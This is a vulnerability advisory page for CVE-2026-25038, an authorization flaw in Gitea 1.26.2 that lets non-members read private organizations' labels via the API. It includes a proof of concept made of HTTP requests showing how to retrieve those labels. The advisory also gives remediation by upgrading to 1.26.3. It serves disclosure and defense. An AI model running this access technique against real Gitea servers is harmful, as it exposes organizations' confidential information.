CVE-2026-25038: Gitea private organization labels are visible to unauthorized users

Published Jul 3, 2026
·
Updated

Summary

Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.

A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.

The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.

Details

The following endpoints are affected:

GET /api/v1/orgs/{org}/labels GET /api/v1/orgs/{org}/labels/{id}

During testing, a private organization was created and a label was added to that organization.

Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.

However, the same user was still able to retrieve organization labels through the endpoints listed above.

For comparison, other organization-scoped endpoints such as:

GET /api/v1/orgs/{org}/teams GET /api/v1/orgs/{org}/hooks GET /api/v1/orgs/{org}/actions/secrets

correctly denied access to unauthorized users.

The label endpoints returned the full Label object, including fields such as:

id name description color url

Write operations were tested separately and remained protected by authorization checks.

PoC

Setup

Create a private organization:

http POST /api/v1/orgs Authorization: token <ownertoken>

{ "username": "target-org", "visibility": "private" }

Create a label:

http POST /api/v1/orgs/target-org/labels Authorization: token <ownertoken>

{ "name": "internal-label", "color": "#aabbcc", "description": "private organization label" }

Verify that the organization is not accessible to a non-member:

http GET /api/v1/orgs/target-org Authorization: token <nonmembertoken>

Response:

http HTTP/1.1 404 Not Found

Retrieve all labels

Request:

http GET /api/v1/orgs/target-org/labels Authorization: token <nonmembertoken>

Observed response:

http HTTP/1.1 200 OK

The response contains labels belonging to the private organization.

Retrieve a specific label

Request:

http GET /api/v1/orgs/target-org/labels/1 Authorization: token <nonmembertoken>

Observed response:

http HTTP/1.1 200 OK

The full Label object is returned.

Verify write protection

Request:

http PATCH /api/v1/orgs/target-org/labels/1 Authorization: token <nonmembertoken>

Response:

http HTTP/1.1 403 Forbidden

PoC Details https://anonymous.4open.science/r/GiteaPoC-EC93/2pocprivateorglabelsleak

Impact

Users who are not authorized to access a private organization can obtain label metadata associated with that organization.

Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.

The issue affects confidentiality only. No integrity or availability impact was observed.

Other sources

Gitea 1.26.2 allows unauthorized users to access labels of private organizations.

MITRE

Affected Software

2 affected componentsFixes available
Gitea Gitea=1.26.2
go/code.gitea.io/gitea<1.26.3
1.26.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/code.gitea.io/gitea to a version that resolves this vulnerability.

    Fixed in 1.26.3

Event History

Jul 3, 2026
CVE Published
via MITRE·08:19 PM
Data Sourced
via MITRE·08:19 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Jul 21, 2026
Advisory Published
via GitHub·09:46 PM
Data Sourced
via GitHub·09:46 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-25038?

The severity of CVE-2026-25038 is rated as risk 26.

2

How do I fix CVE-2026-25038?

To fix CVE-2026-25038, upgrade Gitea to version 1.26.3 or later.

3

What kind of information does CVE-2026-25038 leak?

CVE-2026-25038 allows unauthorized users to access labels of private organizations.

4

Which versions of Gitea are affected by CVE-2026-25038?

Gitea versions prior to 1.26.3 are affected by CVE-2026-25038.

5

What is the impact of CVE-2026-25038 on Gitea users?

CVE-2026-25038 exposes sensitive organizational labels to users without proper authorization.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203